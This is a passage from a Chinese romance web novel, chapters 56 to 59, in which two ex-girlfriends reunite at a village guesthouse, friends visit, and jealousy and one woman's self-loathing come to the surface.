有多久没见了,五天,十天,不止。 整整十五天,半个月。 默然对视,久久不语,心中万般思念,涌至喉头却哽咽,沈新月侧身擦了下眼睛。 “好久不见。”江有盈轻轻笑了两声,“娇嘟嘟大小姐。” 不想在特别的重逢时刻没出息哭鼻子,沈新月睁大眼让风吹干泪,深吸气,调整呼吸。 “你回来了。” 风掀起荷叶背面青白色经络,涟漪撞碎水面倒映的白云,她鬓边碎发扫拂面颊,垂眼轻轻“嗯”了声,“在拍视频吗?” 沈新月点头,“两个号加起来,连着打赏有七八百块钱了。”不知该说是高产还是无聊,她发了三十多条视频。 “真厉害。”江有盈笑道。 沈新月自己也觉得,用力点头,忽然就想到要对她说的话了。 “你离开这段时间外婆每天都在想你,一直念叨着,盼望你回来。我也一直在好好干活,浇花扫地,接待客人,洗晒床单,还学了好多新菜,尝试过……” “嘟嘟。”江有盈打断她。 沈新月抿唇,低头,荷影在脚尖摇晃。 “我一直在想你那天说的话。” 她声音很轻,音调平和缓慢,有淡淡的砂砾感,听在耳朵里酥酥的,痒。 沈新月一下害怕地揪住了裤腿。 “我想了好多,想啊想,每天都在想,我觉得……” 顿了几秒,再开口,江有盈声气变得平稳且坚定,“你说得对。” 沈新月猛地抬头,目光惊诧。 她黝黑的瞳仁陷入回忆。 “有一次,我把露营地选择在高山上的一片缓坡,结果半夜突然下起大雨,我的帐篷被山洪卷走,我抱着大树,以为自己就要死了,脑袋里走马灯一样闪现了过去全部人生经历,还有什么遗憾的话……” 沈新月心揪紧了,开始痛。 上前一步,江有盈握住她手,“嘟嘟,对不起,我向你道歉,为我过去的任性,鲁莽和狂妄。” 掀眼,沈新月看到她晒伤的鼻尖,颧骨处新增的小块斑点。 那不是瑕疵,是岁月走过,白云和树梢在她面颊留下的阴影,她还是那么美。 握紧她手指,沈新月心碎成一片一片,“其实我还没说完。” “还要骂我吗?”江有盈笑,睫毛如颤抖的蝶翼,“没关系,你大胆说吧,我洗耳恭听。” “不是。”沈新月摇头,到底没忍住,眼泪大颗掉。 “我想说,不管你是个什么样的人,我们都是爱你的,我,外婆,星星和刘武甚至包括我妈还有女明星。你离开的每一个白天黑夜,我们都在深深思念着你,盼望着你的归来。” “别哭。”她指腹温柔像清晨落在纱帘上那束清丽的阳光。 沈新月背身横臂抹了把眼泪,“没啦,其实是外婆每天骂我。” “这样。”她笑笑,手缩回,指尖收进拳头,“那我们还是好朋友吗?” 第56章 那声“朋友”落地,沈新月愣住。 有一秒,半秒,她想把面前这人推进荷塘里,像涮毛肚那样七上八下好好涮涮。 她们有半个月没见了,听起来江有盈像是去外面散心,露营徒步什么的,还遭遇了自然灾害。 沈新月脑补她在生死一线之间,那滔滔滚滚的山洪冲开她的脑栓,她想通了,大彻大悟了,再见时她们终于可以坦诚相待。 然后呢?然后。 只能说明沈新月这人想象力蛮丰富。 短暂怔愣后,她爽朗笑开,“其实我还挺欣慰你能想通的。” 然后开始唱歌:“朋友,我当你鸭苗朋友,朋友,我当你鸭塞朋友……” 不拍了,沈新月收起手机,“这对于我们来说确实是最好的结果。” 不管从哪个关系层面讲,她们都没办法完全撕破脸,说什么老死不相往来,没到那地步。 江有盈是她老板,邻居,也是前女友,现在当朋友处,挺好。 外婆,星星,刘武,甚至包括妈妈和女明星,开咖啡店的小安…… 她们之间的共同好友太多了,沈新月不能因为跟她分手这些人全都不要了。 在秀坪,她们还会有很多需要共同出席的场合,这里不是城市的鸽子笼,门一关谁也不认识谁。 朋友确实是最优解题思路。 想通这点,沈新月什么感觉呢,好像洗完澡堵在耳朵里的那汪水终于弄出来了,她听力恢复正常,世界去雾。 “那我们回去吧。”沈新月摆了下手,语调轻快,“外婆要知道你回来,肯定特别高兴,她老想你了。” “那你呢?”你有想我吗?江有盈下意识脱口而出,朝前半步。 对方此刻表现出的这份豁达坦荡,显然不是她想要的,说“分手”的是她,“做朋友”也是她,人家都答应了,她却还是不满意。 两片荷塘中间的土路仅限一人通行,沈新月让出半步,示意她走前面。 “你还没有回答我。” 逃跑把问题搁置,十五天,在想开了和没想开之间来回走,江有盈发现自己变得更加斤斤计较。 “你说外婆想我了,那你想我了吗?”这完全不是她的语言风格,但如果心中压抑的情感已满溢,甚至沸腾。 江有盈再次逼近,攥住她手腕,眉眼轮廓在阴影中更添浓重深邃。 “你有想我吗?” 回望,沈新月不可避免被她眼中压抑的情感所震慑,几乎要妥协。 本想装傻把那句糊弄过去,她非要问。 沈新月很无奈。 是无奈,没有愤怒,没有丝毫因对方追悔莫及的快意,或是恨恨、不屑等。 很纯粹的无奈。 “你想听实话吗?”沈新月勇敢对视。 江有盈一瞬不瞬看着她。 她们在彼此眼睛里看到的都是自己,一个深陷自责悔恨,因痛苦而扭曲变形;一个坚毅果决,平静到近乎残忍。 沈新月没挣,任由她拉着手。 “我正在拍摄,你突然闯入我的镜头,坦白讲那一刻我的内心是感动,是惊喜。你回来了,看起来像是想通了很多问题的样子,我由衷替你感到高兴。然后你跟我道歉,我回忆起你离开之前,我们在房间那番对话……” 对话不准确,沈新月想了想,纠正:“应该是单方面的辱骂。我那天太生气,话说得有点重,伤害了你,内心非常自责,但我没觉得自己哪句说错。你问我这些天有没有想你,我的回答是有,我很想你也很担心你,如果你因为我之前那番话,有任何想不开,产生伤害自己的举动,我会内疚一辈子。” 沈新月想,或许是自己刚才的表现让人误会了。 失望吗?当然,她心里始终给江有盈留了份位置,但任何感情都是双向的,有来有往是人情社会基本法则。 那就把话说得再清楚些。 “如果你细心观察,就会发现,我这人其实一直挺看得开的,决定的事不会轻易改变,我不是反复的性格。而且不是你说的做朋友吗?我以为你想开了。” 沈新月试着挣了挣。 “我没想开。”江有盈立即道,目光急迫,手握得更紧。 “可我想开了。”沈新月只能说抱歉。 风停了,空气凝滞。 江有盈脸色灰败。从小到大,她没有停止过逃跑,从老家跑到江城,又从江城跑到秀坪。 可她从来没跑掉过,人生有一半的时间都用来走回头路,恐惧的雪球越滚越大,她终于被撞翻在地。 为什么沈新月就可以逃掉?原来逃跑也因人而异。 手腕禁锢的力道减弱,沈新月挣脱,“成年人要为自己说过的话负责。” 她来到秀坪好几个月才尝试着自己开电三轮上路,下厨,网上找视频学习拆换床罩技巧。 在生活方面,江有盈当然强过她许多,会修家里的一切东西,开挖掘机,搞测量搞安装,等等。 但就“想开”这点,或者一种更为宏观的说法——心智的成熟。江有盈不如她。 人各有所长。 不多停留,沈新月转身朝前走。逃跑和前进之间的微妙差别,或许在于路上所携带的包袱数量。 钱、房子、车子,一切物质上的,或是心灵上的。甩不掉,就会被拖垮。 没走多远,沈新月小路尽头等,她始终是内心宽厚的,善良的人。 一分钟、两分钟、五分钟…… 没等到,沈新月忍不住回头——那家伙不会掉荷塘里去了吧。 小路尽头,空空荡荡,唯见碧叶摇晃,荷香浮动。沈新月挠头,人呢? 心中正纳闷,柴油皮卡身后疾驰而过,沈新月追到大路边,眯眼细瞧车牌号,一时哭笑不得。 这人,两句话不对又跑了,竟然连个招呼都不打。 算了,摇摇头,沈新月懒得跟她计较,沿着田坎间的小路慢慢走回家。 期间给丁苗打了个电话,“再不来放暑假没房间给你住。” “给我留一间呗,我还想多住几天呢。” 丁苗问荷花开没,沈新月说早开了,卖都卖了好几批。 丁苗叹气,又跟她抱怨几句工作上遇到的奇葩人事,沈新月让她打起精神,快快处理掉,腾出时间好好休息。 “我把竹子也喊来,到时候我们在院子里搞烧烤。” 竹子是沈新月以前工作上认识的朋友,在车行搞策展,不过后来转行,自己开了个手作店,还交往了新女友。 也是竹子的故事让沈新月明白,有时放弃反而是种解脱。竹子感情经历炸裂,跟前任从小就认识,在一起十几年分手,现任是前任堂妹。 丁苗说尽量尽量,手边还有事情没做,匆匆挂了电话。 丁苗,竹子,还有竹子的女朋友,这就三个了,所以几分钟后接到程意电话,沈新月半点没犹豫。 “你来啊,人多热闹。” 沈新月一直记着程意的好,年初她走的时候,程意专门上银行柜台取了两千块钱给她当路费。虽然一下火车就发现被偷。 程意挺好的,两人分手是性格不合,三观不合,各方面都玩不到一起,那时丁苗出差办案,沈新月突然决定要走,实在找不到人才管她借钱。 分手还能做朋友,是感情上真的一点牵挂也没有,否则沈新月张不开那嘴。 程意痛快,收到消息,立马开车去楼下接人,取了钱,送佛送到西,给她捎去火车站。 “网上刷到你拍的视频了,不过看起来有点不对劲啊,失恋了?”程意问。 沈新月苦笑,弯腰摘了朵小花又狠心在指腹碾碎,“这么明显。” 程意声音听起来也有点郁闷,“外面转了一大圈,回来发现还是你最好,要不咱俩复合吧。” “你想蹭房间住呐?”沈新月哈哈几声,“我不是老板,做不了主哦。” 这就是拒绝的意思了,程意没坚持,“那到时间见吧。” 回家,江有盈正坐院里跟外婆说话,她带了好多东西,外面买的土特产,还有景区里卖的小玩意等。 沈新月从旁经过,好奇瞄了一眼,外婆冲她招手,“你过来。” “干啥。”沈新月站在楼梯口。 “快点。”外婆催促。 沈新月不情不愿晃过去。 外婆起身,把她按在板凳,“别吵架,有话好好说,我回屋睡个午觉。” 沈新月想说不好意思,刚吵完。不过嘛她确实有事要说,等外婆回屋,才摸摸鼻子挺难为情笑一下。 “我有几个朋友过阵子来找我玩,我想把她们安排在民宿,她们大老远来一趟挺不容易的,我想跟你商量,房费能不能从我工资里扣。” 通讯录清空后,主动重新添加好友的就这么几个,沈新月感激朋友们对她的耐心和包容,想主动包揽部分开销。 其实荷塘边那番话说完她就后悔了,还得求人呢,干嘛把话说得那么狠。 “刚才,对不起。”江有盈却道。 “嗯?”沈新月下意识抬头,头顶枝叶间撒下的小块光斑落在她眉眼,她的样子比在荷塘边增添了几分柔和。 “又一次不辞而别。”或者说落荒而逃更为准确。 江有盈视线从茶杯转移到院中铺地的青石砖,“我也很讨厌这样的自己,从一个地方转移到另一个地方,我以为我把那些东西搁下了,可一回头,还是背后灵一样趴在我肩上。第一次离开家,也是我第一次逃跑,或许我的人生从那一刻开始就奠定基调,我只能跑。” 她声音很轻,像漂浮在空气中的微尘,她口中的命运亦然。 “人的命有时真的很轻很轻,无论飘到哪里都不能扎根。有时却那么重,落地就摔得稀碎。” 沈新月心尖一缩,感到疼,幻听“砰”一声巨响,不知是什么摔碎。 江有盈弯腰,随身的那个大口袋里取出个暗红的绒布小袋,推到她面前,“送给你的礼物。” 绒布袋子里是只雕刻精美的银镯,颇具民族风情,而且一看就是老东西,没有丝毫粗劣的现代工业,岁月留下的细小磨损更添韵味。 沈新月拿在手中把玩,银导热很好,她的体温极快扩散开,什么东西开始有了融化的迹象。 “你刚才是不是拿手机拍我了。” 沈新月还没来得及道谢,江有盈忽又道。 以为是兴师问罪,沈新月赶紧把镯子放回去。 “你发吧。”江有盈深吸一口气,下定决心一般,“我不介意,而且以后都随便你拍。” 转变太快,沈新月一时反应不及。 “还有你的朋友们,请她们来吧。”她端起茶杯浅抿一口,“我负责她们在秀坪全部开销。” 第57章 她很失望,对自己失望。 站在二楼围栏边往下看,长久地看着,看庭院中生长旺盛的花卉,得到两棵大树浓荫的庇护,不至于在盛夏灼辣的日头下凋萎。 ——“什么东西过浓都不好。”江有盈想起妈妈说的话。 太阳和雨水,过浓泛滥都不好,所以妈妈给她起名“有盈”,满月的意思。可月亮并非总是圆满。 这么多年,她还是无法为自己栽种一片浓荫,成为自己的庇护。 身体朝前微倾,江有盈撑在那,总无意识地搓手指,觉得手心空空,应该抓住点什么。 可她毫无技巧,像握一把沙,越是使力越是流失得快。 摊开手心,什么也没剩。 沈新月送饭来的那个下午,气势汹汹把她臭骂一顿,她当晚便收拾起行李和帐篷离开。完全出于本能,按照以往的经验,先跑了再说。 其实没跑多远,就在妈妈安息的大树下。 只喝水,不吃饭,伴着风声、树声,鸟叫虫鸣,不分白天黑夜躺着。三天后,她还是觉得不够,于是离开大树跑去更远的地方,流浪。 逃跑是她惯用的自我疗愈方式。可这么多年,好像没什么效果。 有一种说法,人遇事根据过去经验,照常处置,是命;改变习惯,停止依赖,尝试新的方法,是运。 她都试过,认命有时不完全是坏事,运也未必是好运。 可认命久了,也会乏味,再试试吧,这次万一转运了呢。 江有盈打开手机,沈新月有乖乖听话把视频发出去,剪辑配乐后,还真有几分旧人重逢的唯美电影感。 不到一周,收获点赞近万。 那些想找到她的人,视频会成为线索,她不敢说的话,会有人替她说出口。 那条视频江有盈来回看了好多遍,她不是第一次从别人的镜头里见到自己。 她拍过纪录片,很多年前,拍她的人说她长得漂亮,应该多笑笑,又说孩子你还年轻,路还长,振作起来。 江有盈讨厌镜头是从那时候开始,不过后来,她有躲在房间里偷偷看过那片子。她哭了很久。 沈新月镜头里的她大不同,像一朵云从天边降落,是蓝色的。 蓝色的云朵。 评论有人说,能感受到博主浓浓快溢出屏幕的思念和爱慕。 江有盈又欢喜,又忐忑,想当面问问是不是真的,不敢,于是对自己愈发失望。 正出神,小院来了客人,院里招手,“哈喽!哈喽!” 江有盈收起手机,下楼接待,“你好,住宿吗?” 是个女孩,二十七八?不确定,反正看着比她小,短裙搭配防晒衫,戴墨镜,给人的感觉精致,却说自己是来应聘的。 “应聘?”江有盈皱眉,沈新月还是决定离开吗,为什么不提前告诉她。 “小院似乎没有张贴招工启事,你应聘什么?” “应聘老板。”那女孩说,然后背着手在院里大摇大摆走来走去,摸着下巴不时点头,“我看中了你这块地,决定买下来盖个度假村,你开个价钱吧。” 江有盈狐疑,返回屋檐下阴凉处。 她自顾自继续,“当然不止你一家啦,附近几家我都看过了,挺满意的,我要全部买下来。” “还有外面那片荷塘。”她舒舒服服往摇椅上一躺,自顾继续道:“我要填了种向日葵,我喜欢向日葵,因为向日葵的花朵跟我的笑容一样灿烂,嘻——” 江有盈观察得出结论后道:“你哪家医院出来的,主治医生是谁?” 她歪头思索片刻,摘了墨镜,“啥?” 话音刚落,又有人小跑着进院,自报家门道“我我我”,“主治医生是我!” 穿白裙,这位是长发垂肩的温柔样子,几步上前,江有盈面前伸出手,“你好江老板,我们是嘟嘟的朋友。” 哦!江有盈恍然。 老实讲,她其实不太擅长跟同龄的陌生女人打交道。 出去干活,男的一律当牛马差使,小镇上的人,相熟了日常打招呼没什么问题,沈新月照片里见过,并不陌生。 至于这些跟沈新月差不多气质城里来的漂亮妞…… 没跟白裙子握手,江有盈抿唇,满脸严肃手撑围栏倒退几步,在孟新竹充满期待又好奇的目光中转身逃跑。 孟新竹愣愣眨眼,反应几息,怒而望向周醒,“是不是你又发神经胡言乱语,把人吓跑了。” “我没啊。”周醒从摇椅上站起,摊着巴掌,“我是说要收购这片盖度假村,可都是胡扯的呀!” “盖你个头啊盖!”孟新竹一个爆栗。 周醒捂着脑门,“人家玩嘛!” “玩你个头!”孟新竹好像并没有看起来那么温柔。 江有盈藏在二楼房间,门反锁,给沈新月打电话。 “喂,你朋友来了。” 丁苗也是自己开车来的,说找不到地方。沈新月怕她丢了,开着三轮在路边等,接起电话,“那麻烦你帮我招待下。” “招待不了。”江有盈拒绝得干脆。 丁苗电话进来,估计是到了,沈新月下车左右看,鬼影没一个,“怎么会招待不了呢。” “我怕生。”江有盈说。 沈新月不太明白。 电话催得急,天又热,她满头满身汗,手腕敲敲脑门,“等一下,等下我先找到丁苗再打给你。” 挂了这个接那个,丁苗说她到了,在瀑布边上。 沈新月感觉今天脑子有点不够用,“什么瀑布,哪里来的瀑布?” “就是一个大瀑布,很高的地方,水流下来。”丁苗啊地大叫,“好壮观!” 沈新月挂了电话让她直接发定位,发现这家伙竟把车开到水库边上。 叮嘱丁苗别再乱跑,她现在去接,沈新月赶紧给江有盈回电话。 “你快点回来!” 江有盈躲进卫生间,“她爬我窗户,进来了!” 沈新月彻底懵圈,“谁?谁爬你窗户?” 孟新竹真担心周醒把人吓着了,押着她上楼道歉,周醒说世界上不可能有那么蠢的人。 孟新竹说当然,“她只是觉得你有病。” 总之,孟新竹决定把人找到,事情解释清楚好好跟人家赔礼道歉。 周醒发现门反锁,顺着走廊绕了半圈摸到后面露台,说“欸竹子你看窗户开着”,猫腰就往里钻。 沈新月只听见电话里周醒的声音说“抓到了抓到了”,通话中断。 “抓到什么?”沈新月混乱。 忘了反锁卫生间门,江有盈被周醒从门背后揪出来。 孟新月上前安抚,环抱她双肩,“嗷嗷不怕不怕,没事了。” 江有盈起初确实是尴尬又害羞,但事情从周醒翻窗户那里变了,她开始感到害怕。 沈新月交的一帮什么朋友? 江有盈被这两人左右拉着下楼,孟新竹反客为主,又是倒水又是打扇,周醒拍着胸脯保证,“我真没病,开玩笑的。” 江有盈起初没觉得她有病,玩笑而已她当然听得出来,但就周醒刚才的表现…… 嗯,说不好。 沈新月去接丁苗的路上,听孟新竹打电话描述完经过,本来还不太相信,后来想起某人爬墙把自己摔得满身伤。 “你们别欺负她。”沈新月跺着脚,“她其实很胆小的。” 又生气,“能不能管好你家暴暴。” 孟新竹应好,“我再去打她两拳。” 丁苗举着手机拍照,沈新月三轮停她面前,嫌她误事,“快点走!” “照张相。”丁苗一身职业套装,戴黑框眼镜,沈新月不免吐槽,“穿的什么跟我姑妈一样。” “你懂屁。”丁苗收起手机,“我上午还在开庭,为了赴约,开一百多公里车。” 沈新月电三轮在前面引路,丁苗在后头跟,下山回村,把车放停车坝,火急火燎往回赶。 丁苗跟她一起坐在电三轮上,胳膊肘捅捅,“不是分手了吗?” “那她也是我老板呐!” 沈新月没好气,“现在竹子也被周醒带得不正常了。” 丁苗“呵呵”,“我看最不正常的就是你!” 电三轮停在墙根底下,沈新月满头汗来不及擦,火急火燎进了院。 事情倒没她想的那样严重,江有盈已经把人安排进房间,问她们晚上想吃什么,好安排。 “满满!”沈新月有很长一段时间没这么叫过她。 “在。”厨房门口,江有盈端着盛酸梅酱的粗陶罐子回头。 满院暖金摇灿,四目相对,气*氛微妙难言。 丁苗院门口探个脑袋,“哈喽,江师傅。” 至此,四个齐了三个。 江有盈率先移开视线,看向丁苗,礼貌弯弯嘴角。 “还有一个呢。” 话音刚落,小院门前,一道倩影闪过,蛇般凉滑的手臂勾缠沈新月肩膀,红唇香软,烙在她脸颊。 “亲爱的,好久不见。” 第58章 来者不善。 外出游玩,收拾打扮打扮,烫个头发化个全妆,没啥可说的。 可这人穿得…… 十厘米大高跟,白色滑面的绸缎料够显身材了,前襟还有大片的镂空蕾丝拼接,散着头发,行李箱没见拿一个,上来嘴就往人脸上贴。 怎么着,乡村大舞台走秀来了。江有盈侧身往门框里站站,让墙角那株三角梅多少遮挡些视线,眼不见为净。 “嘟嘟,我好想你,我们多久没见了,你有没有掰着手指头仔细算算——” 乡村大舞台一个调子拐出三十八道弯。 手背擦脸,沈新月笑着往旁边躲,“你吓我一跳。” 她不住抬眼偷瞟,江有盈还端着酸梅酱罐子站在厨房门口,冲丁苗浅浅柔柔那一笑过去,面色恢复往常平寂,又被花枝遮挡大半,看不出深浅。 “嘟嘟。”程意还树袋熊一样挂在沈新月脖子上,十根手指头刚把谁心掏出来那么红,扳过她脸,“怎么都不跟我说话。” 江有盈转身进厨房。 周醒和孟新竹刚回房放行李,现在并肩趴在二楼围栏边看热闹。丁苗走进小院,箱子先放一边,抬手跟她们打过招呼,院里自己找个板凳坐着看热闹。 “欸,嘟嘟,你不跟江师傅介绍一下。” “谁啊?”程意手指厨房,目光问询。 沈新月只好领着人过去,站门外头,“满满,这是程意。” “也可以叫我橙子。”程意伸手。 江有盈快速扫了一眼,表示看过,点点头说“你好”。 竹筷在大茶壶里搅,酸梅汤甜香气缠绕在发间,她低头忙碌,又敲了些冰块进去。 讪讪收手,程意撇嘴,“你老板好像不欢迎我,要不我还是住你家去吧。” “我家……”沈新月犯难,家里倒是还有空房,沈硕平时回来住的那间,刘武偶尔也住。 换作丁苗或竹子她们,当然没问题,前任的话就得注意避嫌了。 “她性格就这样,清清冷冷的。”沈新月笑着打圆场,把人往外拉,“走吧,你房间就在苗儿隔壁。” “我没不欢迎你。” 酸梅汤兑好,江有盈端着茶壶跟出去。只是单纯看你不顺眼。 她回厨房又拿了几个一次性纸杯,“喝点东西吧,自家熬的酸梅酱,消热解暑。” 周醒欢呼一声,楼上小鸟一样飞下来,孟新竹紧随其后。 程意又把手伸出去,要握,不知在执着个什么。 这手一看就很软,十指不沾阳春水的,江有盈不情不愿捏住她最长的三根手指头。 仪式完成,江有盈手往回缩,程意却突然发力,勾住她指尖迅速往回一扣,握住她整个手掌。 “你手好硬。”程意说。 旁边几个眼睛一下就瞪圆了。 江有盈顿时就不高兴,一把要甩开。乡村大舞台说她手糙! 她从早到晚干不完的活儿,哪像这帮养尊处优的臭大小姐,死富二代,当然没她们手软了。 谁料想,这一把竟没能甩掉。 “我不是那个意思,我是那个意思。”程意解释说。 “到底什么意思!”周醒像只大鹅,脖子伸个老长。 程意指腹在江有盈小拇指与手掌连接处轻轻蹭了下,“就是一种力量感。” 江有盈猛地抽回,又羞又气,脸涨红。她被调戏了?岂有此理,从来只有她调戏别人的份! 程意目光欣赏,“真没别的意思,不要误会。” “本来是没有误会,你说‘误会’,大家再不误会点什么,那就真成误会了。” 丁苗在旁“哈哈”拍着巴掌笑。 周醒迷茫,“说的什么?” 孟新竹怜爱抚摸她发顶,“回去解释给你听。” 程意笑眯眯,用刚跟人牵过的那只手撩了把头发。 沈新月拽她胳膊,“走,上楼放东西。” “我没带东西。”程意懒洋洋的调子。 沈新月左右看看,“欸?还真是,你出来竟然不带行李。” “你不是说你家什么都有。” 程意一步三回头,还往厨房方向看,“带了一次性内裤,睡衣换洗什么的,穿你的吧。” “哐哐——” 江有盈操起砍刀,羊排一分为二。 二楼办公室隔壁就是程意的房间,她晚上比较安静,往左是丁苗的,她工作忙,电话多,沈新月担心她打扰老板休息。 再往左,是小情侣暴竹的房间,晚上要做事的话,跟丁苗又可以组成一个互相伤害格局。 程意从办公室窗户往里瞄了眼,“里面就是你老板的房间吗?” 沈新月说“是”,刷卡推开门,把她拽进去,竖指警告,“别给我乱来。” 赶路半天,也累了,程意倒在床面,冲着天花板笑了会儿,撑起脑袋看她,“真分假分,哪种程度。” “骗你干嘛。”沈新月进卫生间,检查她洗漱这些够不够用,“人家提的嘛,前前后后加起来都快一个月了。” 程意坐起来,把指甲一根一根掰了,残余的果冻胶撕下来。 她手很干净,指甲修剪得短短,戴不戴甲都好看。 沈新月坐在床尾巾,“那你行李是真没带假没带?” “我听你说,她们今天都来了,我想凑热闹,拍摄结束也跟着来了。”程意是模特。 她指甲掰完扔在被面,沈新月问她还要不要,不要扔了。 “你帮我扔吧,谢谢。”程意低头专注扣指甲上果冻胶。 门窗都开着,走廊上有人经过,细长的影像一片叶子在头顶飘游。 沈新月回头,江有盈也恰好看来。 触及她幽邃的眼,沈新月手中零碎的甲片红得像炭,连带心脏都被烫了下。 “欸!”沈新月追出去,站在办公室门口。 江有盈垂眼捡起其中一片,在自己手指甲上比划两下,“这样吗?” 沈新月点头,“用胶粘。” “哦。”江有盈放回去,转身要走。 沈新月弯腰把甲片扔进办公桌旁边垃圾桶。 江有盈站房间门口,回头,“还有什么事情吗?” 当然有。 本人如此美艳一位前任,怎么你一点不吃醋?沈新月想给她递话筒。 “晚上吃啥。”沈新月没胆。 “烧烤,不是你安排的吗?肉我都腌上了。”江有盈手按在门把,往下压了压,又收回力道,“还有什么想吃的,我去做。” 沈新月连连摇头,“我不是说这个。” 况且,她怎么好一直麻烦人家,免费食宿已经是很大的恩情了。 “晚上你们自己烤吧。”江有盈终于还是把门打开,“我要休息了。” “砰——” 门扇把两人隔绝。 沈新月隔着门默默捏了会儿自己的手指头,回到程意房间坐着。 程意光脚踩在地板,“我不喜欢穿那种一次性拖鞋。” 沈新月只好回家给她找。 外婆床底下翻出来一双,老式硬塑料,半透明那种黄,窄窄的鞋头,走起来“哒哒哒”。 程意觉得还挺有意思的,“这款式只见我妈穿过。” 她猜得不错,沈新月说:“就是我妈年轻时候穿的。” “衣服呢?”程意又问。 沈新月快被她烦死了,“你不早说。” 程意好笑,“早跟你说了什么都没带,是你心不在焉。” 她贴近些,在人耳边讲话,“怎么,她没反应啊,所以你不开心。” 沈新月“切”一声,“她根本不会这么想,我也不会,很无聊知道吗?” 说完走了,把里里外外要穿的回房间搜罗几套扔给她。 距离晚饭还有一两个钟头,暴竹喝完酸梅汤就出去溜达了,丁苗叉腰在院子里打电话,对面应该是当事人,沟通不畅,讲话噼里啪啦像放炮。 程意换了拖鞋去卫生间冲脚,半躺着床上晾着,枕头垫背,看窗外的大树,感受夏天的风丝丝吹拂在脸上。 “真漂亮啊这地方,怪不得你一来了就不想走,再谈个恋爱,更是美满。真让人羡慕。” 沈新月坐在床尾的位置,不时抬头看一眼门口。 隔壁静悄悄的,江有盈真睡下了? 来秀坪以后她穿着打扮都很随意,入夏常常是短袖配裤衩,一双粉红塑料凉拖走天下,头发大多时候扎起来,黑亮一捆。 她骑坐在床尾那尖尖角,小腿斜支着,手撑在膝,四肢细细长长,嘟个嘴,身体前后那么晃。 程意伸腿踹了她一脚,“干什么你,望妻石啊,不用打工的吗?” “现在就在打工。”沈新月头也没回。 “你这个老板,按照我过往经验分析,不是会跟女人抢女人的那种女人。”程橙床上翻了个身,说道。 沈新月回头,“你现在说话怎么跟丁苗一样曲里拐弯的。” 想想又辩解,“我没那个意思,而且是你自己说要来的,你先给我打电话的。” “有一种人,眼前所见的一切辉煌,在她看来其实都与她无关,她如诗歌般优美月亮一样沉默,她心里那个想要又拿不到的东西,其实呢,本是想伸手够一够的,但如果这时候,突然有人跟她抢,你猜怎么着?” 程意又踹了沈新月一脚。 “她就不要了?”沈新月将信将疑。 程意闭眼,点头,“是的,我一眼就看穿了,我们其实是同类。” “你的意思是,你像诗歌一样优美,像月亮一样沉默,对吗?重点其实是这句。” 沈新月手机响了,她从裤兜里掏出来,没急着看,先回头,“你像不像诗歌我不知道,但你一点也不像月亮。” 程意还在抠指甲,“那我像什么?” 沈新月陈恳道:“我不知道你像什么,没研究过。但月亮另有其人了。” 她解锁屏幕,双眼蓦地亮起。 月亮姐姐给她发消息了。 [你来我房间一下。] “她找我了。” 指尖悬停在门把上三秒,光从身后来,手腕大串水晶在门扇折射出七彩光斑。 还没进房间,沈新月已经闻到她身上橘子花味道,混合着檀香的厚和艾叶的轻。 “笃笃笃——” 三声,沈新月礼貌敲门。 “请进。”倒是难得客气。 沈新月压下门把走进去,令她感到惊奇,江有盈竟就在两步开外静静等待。 “你找我有事情吗?”沈新月眼睛睁得大大。 门扇合拢,她逆光而立,身后尘埃飞舞。 沈新月正乖巧等待下一句,忽然,江有盈上前一步抓住她手腕,指腹按压在她脉搏跳动处。 “你不要跟那个女的复合。” 半分钟前,沈新月还在程意房间听她分析,说江有盈是不会跟女人抢女人的那种女人。 半分钟后,江有盈将她唤来,“因为我要跟你复合,既然都是前任,怎么也该分个先来后到。” 沈新月傻傻张嘴。 江有盈担心她听不懂,捏着她手指,“一二三四五”这么数,“要是倒回去,就得五四三二一这么个顺序,能听明白吗?她是四,我是五,所以我在前。” “加上你,我也只谈过三个。”沈新月纠正。 两人好像都有些不在重点。 “反正我是五。”江有盈坚定道。 第59章 江有盈回房间照镜子,灯打开,镜中细细审视自己,忽地逼近,又忽地退后,时而瞠目,又时而蹙眉…… 摇头,讨厌这样的自己,她低头将双手细细搓洗干净,涂上护手霜。 坐到小沙发,左右手交握,前后搓,挠挠手心,捏捏手指,不肯相信那人说的话。 哪里糙了。 那条裙子很显身材,布料也好,江有盈起身拉开衣柜,多是衬衫长裤一类,即便睡裙也没有那种贴身光滑的材质。 小时候妈妈喜欢给她买睡裙,每晚洗干净身体,换不同的穿。后来都没有了。 长大,她到处搜罗来许多相似的,感到熟悉又安全,就一直没变过。 很多事,江有盈不懂,以前看人家做指甲觉得新奇,又怕麻烦,直到今天才知道有穿戴甲这种东西——刚在手机上搜的。 沈新月带来的女孩一个个都发着光,她站在她们身边,自惭形秽,无地自容。 那句“你不要跟那个女的复合”脱口而出,她没力了,眼眶忽而盈满泪水。 把人推开,江有盈迅速背过身去,克制着颤抖的呼吸,双手捂住脸。护手霜的香气变得湿湿热热,她愈发窘迫,连空气都带针,扎得她满身血。修不好的,她的手不会变软变细。 她们个个精致体面,从小养尊处优,蜜罐里泡大,浑身香软,她拿什么跟人家比又有什么资格说那种话。 “你走吧。” 人喊来,话说了一半,又推开,把自己丢在角落。 沈新月惘然。 明明上一秒还在开开心心玩手指,半是玩笑半是警告说“反正我是五”,即便复合也要讲究个先来后到。 下一秒,她面色骤然由晴转雨,慌忙摇头后退,怯怯把自己藏在五斗柜跟墙壁之间的夹角,缩成蘑菇。 沈新月迟疑着上前,手轻轻搭在她肩,“你怎么了?” “我是一个很糟糕的人,真的,我……” 说不下去,江有盈双手抱头,情绪翻滚难以自持,被深深的自卑和自责裹缠,恨不得立即从这世上消失。 反反复复,变来变去,她也恨极这样的自己。 “你走吧,我就是个烂人,你别管我了让我自己安静……” 想起沈新月跟沈硕对峙时用头撞墙,于是也尝试着那么做,用力“咚咚”两下。 沈新月不防,险些惊得跳起,迟疑间又让她“咚”去撞了一下。 “别犯傻啊!”沈新月赶紧扑上去抱住她,手覆盖在她额头。 她还保留几分清醒,哭红的一张脸抬起,“你恨我吧。” 手掌抚去她面颊乱发,沈新月被她这一番折腾弄得,真是又伤心又糊涂。 “你到底怎么了。” “我恨我自己。”她绝望闭上双眼。 靠近你,是因为爱你,远离你,是还不够爱自己。 请客吃饭,提供食宿,想表现想认错,也怕人家瞧她不起。 心底知道,她们温柔善良,跟沈新月是同一类人,没人会那么想,可就是不能放过自己。 好不容易迈出一步,从漆黑洞里爬出,像小孩,双手合十絮絮聒聒,求求你不要跟她和好,来跟我和好吧一二三四五…… 洞穴深处,一只大手伸来,又把她猛地拽回,连扇几个耳光,指着她鼻尖,质问道——你配吗?你觉得自己配吗? “我不配。”她回答。 沈新月一遍遍给她擦眼泪,“你要把我折磨死了。” 